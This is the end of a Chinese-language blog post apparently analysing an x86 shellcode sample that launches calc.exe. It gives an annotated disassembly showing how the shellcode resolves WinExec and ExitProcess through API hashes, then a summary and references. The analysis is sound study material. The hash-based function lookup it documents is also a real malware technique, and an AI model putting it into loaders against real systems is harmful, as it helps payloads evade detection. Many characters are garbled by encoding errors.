00BE2F64?????? | 51?????????????????????? | push ecx???????????????????????????????? |?構(gòu)造返回地址,返回到剛剛?cè)霔ash的地方的下一行,去找下一個函數(shù)來執(zhí)行
00BE2F65?????? | FFE0???????????????????? | jmp eax????????????????????????????????? |?執(zhí)行函數(shù)
00BE2F67?????? | 5F?????????????? ????????| pop edi????????????????????????????????? | edi:_wWinMainCRTStartup
00BE2F68?????? | 5F?????????????????????? | pop edi????????????????????????????????? |?還原保存的edi?當(dāng)前模塊名Hash
00BE2F69?????? | 5A?????????????????????? | pop edx????????????????????? ????????????|?還原保存的_Ldr_DATA_TABLE_ENTRY中的鏈表節(jié)點地址
00BE2F6A?????? | 8B12???????????????????? | mov edx,dword ptr ds:[edx]?????????????? |?讀取下一個節(jié)點
00BE2F6C?????? | EB 8D??????????????????? | jmp testmfc x86.BE2EFB?????????????????? |
00BE2F6E?????? | 5D????? ?????????????????| pop ebp????????????????????????????????? |?獲取shellcode指令地址
00BE2F6F?????? | 6A 01??????????????????? | push 1?????????????????????????????????? |
00BE2F71?????? | 8D85 B2000000??????????? | lea eax,dword ptr ss:[ebp+B2]??????????? |?獲取字符串“calc.exe”的地址(偏移指向shellcode末尾)
00BE2F77?????? | 50?????????????????????? | push eax???????????????????????????????? | push "calc.exe"
00BE2F78?????? | 68 318B6F87????????????? | push 876F8B31??????????????????????????? | Hash WinExec
00BE2F7D?????? | FFD5???????????????????? | call ebp???????????????????????????????? |?保存當(dāng)前下一行地址,跳轉(zhuǎn)回去
00BE2F7F?????? | BB F0B5A256????????????? | mov ebx,56A2B5F0???????????????????????? | Hash ExitProcess
00BE2F84?????? | 68 A695BD9D????????????? | push 9DBD95A6????????????? ??????????????| Hash GetVersion
00BE2F89?????? | FFD5???????????????????? | call ebp???????????????????????????????? |?跳轉(zhuǎn)去找到函數(shù)并執(zhí)行
00BE2F8B?????? | 3C 06??????????????????? | cmp al,6???????????????????????????????? |?看返回結(jié)果是否小于6
00BE2F8D?????? | 7C 0A????? ??????????????| jl testmfc x86.BE2F99??????????????????? |?小于6則跳轉(zhuǎn)
00BE2F8F?????? | 80FB E0????????????????? | cmp bl,E0??????????????????????????????? |?判斷bl結(jié)尾是不是E0
00BE2F92?????? | 75 05??????????????????? | jne testmfc x86.BE2F99?????????????????? |?不是則跳轉(zhuǎn),實際上是判斷是退出線程還是退出進(jìn)程
00BE2F94?????? | BB 4713726F????????????? | mov ebx,6F721347???????????????????????? | Hash RtlExitUserThread
00BE2F99?????? | 6A 00??????????????????? | push 0?????????????????????????????????? |?參數(shù):0
00BE2F9B?????? | 53?????????? ????????????| push ebx???????????????????????????????? | Hash ExitProcess
00BE2F9C?????? | FFD5???????????????????? | call ebp???????????????????????????????? |?調(diào)用?ExitProcess(0)
00BE2F9E?????? | 6361 6C????????????????? | arpl word ptr ds:[ecx+6C],sp???? ????????|?字符串“calc.exe”
00BE2FA1?????? | 632E???????????????????? | arpl word ptr ds:[esi],bp??????????????? | esi:_wWinMainCRTStartup
00BE2FA3?????? | 65:78 65???????????????? | js testmfc x86.BE300B??????????????????? |
完整反匯編分析注釋截圖版

總結(jié)
該shellcode的主要流程其實是下面那一小段,入棧函數(shù)參數(shù)和函數(shù)Hash,然后調(diào)用函數(shù)去搜索函數(shù)地址并調(diào)用,然后再用相同的方式調(diào)用下一個函數(shù),直到完成shellcode執(zhí)行的功能,通過對本例的分析,可以很清晰明了地了解shellcode是如何獲取函數(shù)地址的,以及如何調(diào)用的,也算是一次不錯的反匯編練習(xí)
最后,感謝大家的瀏覽,如有問題歡迎師傅們指出、探討與交流~
參考資料
???????????[1]?RE Corner - scdbg download (sandsprite.com)
(http://sandsprite.com/blogs/index.php?uid=7&pid=152)
???????????[2]https://raw.githubusercontent.com/avast/ioc/master/CobaltStrike/api_hashes/win10_api_hashes.txt
???????????[3]?走進(jìn)shellcode - 安全客,安全資訊平臺 (anquanke.com)
(https://www.anquanke.com/post/id/264883)
???????????[4]?LODS/LODSB/LODSW/LODSD/LODSQ — Load String (felixcloutier.com)
(https://www.felixcloutier.com/x86/lods:lodsb:lodsw:lodsd:lodsq)
???????????[5]?匯編跳轉(zhuǎn)指令: JMP、JECXZ、JA、jb、JG、JL、JE、JZ、JS、JC、JO、JP 等_zmmycsdn的博客-CSDN博客_匯編jb(https://blog.csdn.net/zmmycsdn/article/details/78511948)